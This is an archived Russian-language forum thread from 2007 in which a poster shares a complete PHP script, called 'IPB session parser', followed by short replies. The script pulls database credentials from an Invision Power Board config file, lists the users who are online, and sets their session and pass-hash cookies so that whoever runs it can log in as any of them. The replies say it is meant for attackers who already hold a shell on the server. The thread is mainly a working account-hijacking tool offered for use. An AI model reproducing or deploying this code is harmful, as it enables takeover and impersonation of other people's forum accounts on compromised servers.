PDA

Просмотр полной версии : IPB session parser


Goudini
31.08.2007, 18:56
IPB session parser

Небольшой серверный скрипт, который позволяет залогиниться под любым пользователем форума, который сейчас в онлайне.
Для работы нужно указать только путь к файлу конфигурации форума conf_global.php.
Из этого файла будет вынута информация для работы с MySQL.
Если работа скрипта завершится успешно, то браузеру будут посланы cookies выбраного пользователя. Пример:

Set-Cookie: session_id=bd2f6468663aa8eaefa5825430b8ba26; path=/
Set-Cookie: member_id=2; expires=Sat, 30-Aug-2008 12:14:38 GMT; path=/
Set-Cookie: pass_hash=081f90c676a2938ce101e197607c64cb; expires=Sat, 30-Aug-2008 12:14:38 GMT; path=/
Set-Cookie: coppa=0; path=/
Set-Cookie: session_id=bd2f6468663aa8eaefa5825430b8ba26; path=/

Сам скрипт в виде php-файла подан ниже.

<?php
/**
* Script that helps you to log in IPB forums with different users
* Tested on IPB 2.1.5, IP.Board 2.3.1
* Goudini (c) 31.08.2007
*/

// Path to config-file, change it to make script work!
$configpath = '/var/www/html/forum/conf_global.php';
include($configpath);

// mysql
$server = $INFO['sql_host'];
$username = $INFO['sql_user'];
$password = $INFO['sql_pass'];
$database_name = $INFO['sql_database'];
$prefix = $INFO['sql_tbl_prefix'];

mysql_connect($server, $username, $password) or die(mysql_error());
mysql_select_db($database_name) or die(mysql_error());

// sessions, cookies
if (isset($_GET["login"]) && $_GET["login"] != '')
{
$name = mysql_real_escape_string($_GET["login"]);

$query = "SELECT member_login_key FROM ${prefix}members WHERE name = '$name'";
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result);

$c_member_login_key = $row['member_login_key']; // cookie

$query = "SELECT id, member_id FROM ${prefix}sessions WHERE member_name = '$name'";
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result);

$c_id = $row['id']; // cookie
$c_member_id = $row['member_id']; // cookie

if (isset($c_member_login_key) && isset($c_id) && isset($c_member_id))
{
setcookie('session_id', $c_id, 0 , '/');
setcookie('member_id', $c_member_id, time()+60*60*24*30 , '/');
setcookie('pass_hash', $c_member_login_key, time()+60*60*24*30 , '/');
setcookie('coppa', 0, 0 , '/');
setcookie('session_id', $c_id, 0 , '/');

$msg = ">Done... Cookie setted... Now your UID is: $c_member_id! Refresh forum!";
}
else
{
$msg = ">Error! User's session not found";
}
}

?>
<html>
<title>::[ IPB session parser ]::</title>
<style>
body,table {
background: #373737;
font-size: 12px;
font-family: Verdana, sans-serif;
word-spacing: 2px;
color: #C3C3C3;
}
a {
font-weight: bold;
color: #C3C3C3;
text-decoration: underline;
}
a:hover {
text-decoration: underline;
border-bottom: 1px #5CAF3D;
background: #4B4B4B;
}
</style>
<body>

<form action="<?=$_SERVER["REQUEST_URI"]?>">

<table width="100%" height="10%">
<tr>
<td align="center" valign="top">
<b>username:</b> <input type="text" name="login">
<input type="submit" value="get session!">
<br><br><a href="<?=$_SERVER["PHP_SELF"]?>?show=1">show all logged users</a>
</td>
</tr>
</table>

</form>

<?php
// results
if (isset($_GET["show"]))
{
$query = "SELECT member_name, browser FROM ${prefix}sessions ORDER BY member_group DESC";
$result = mysql_query($query) or die (mysql_error());
echo "<table>";
while($row = mysql_fetch_array($result))
{
$member_name = $row['member_name'];
$browser = $row['browser'];
if ($member_name != '')
{
echo "<tr><td>";
echo "<a href=" . $_SERVER["PHP_SELF"] . "?login=" . $member_name . ">" . $member_name;
echo "</td><td>$browser</td></tr>";
}
}
}
echo "<h3 align='center'><font color='#E1E1E1'>".@$msg."</font></h3></table>";

mysql_close();
?>
</body>
</html>

Piflit
31.08.2007, 19:00
Скрипт нужен только для тех случаев, когда у нас есть доступ к бд, но мы не можем расшифровать хеш?

Goudini
31.08.2007, 19:05
Piflit:
Скрипт выполняеться на сервере, собственно он нужен для тех случаев если у нас есть шелл, и нам хочется по-быстрому заходить на форум под разными пользователями. Очень удобно когда на форуме много юзеров онлайн.

Piflit
31.08.2007, 19:12
Piflit:
Скрипт выполняеться на сервере, собственно он нужен для тех случаев если у нас есть шелл, и нам хочется по-быстрому заходить на форум под разными пользователями. Очень удобно когда на форуме много юзеров онлайн.
Еще у нас должен быть пасс к бд.

Talisman
31.08.2007, 19:14
Еще у нас должен быть пасс к бд.
у тебя шелл на сервере... чего тебе еще нужно?

Светлый
18.09.2007, 08:10
Скрипт написан для удобства.

FraiDex
18.09.2007, 08:34
Еще у нас должен быть пасс к бд.
и нафига те он если ты на серваке, conf_global.php проинклудил и сё

Светлый
18.09.2007, 19:40
Кстати на 2.2.2 вместо подмены куков почему-то выкидывает юзеров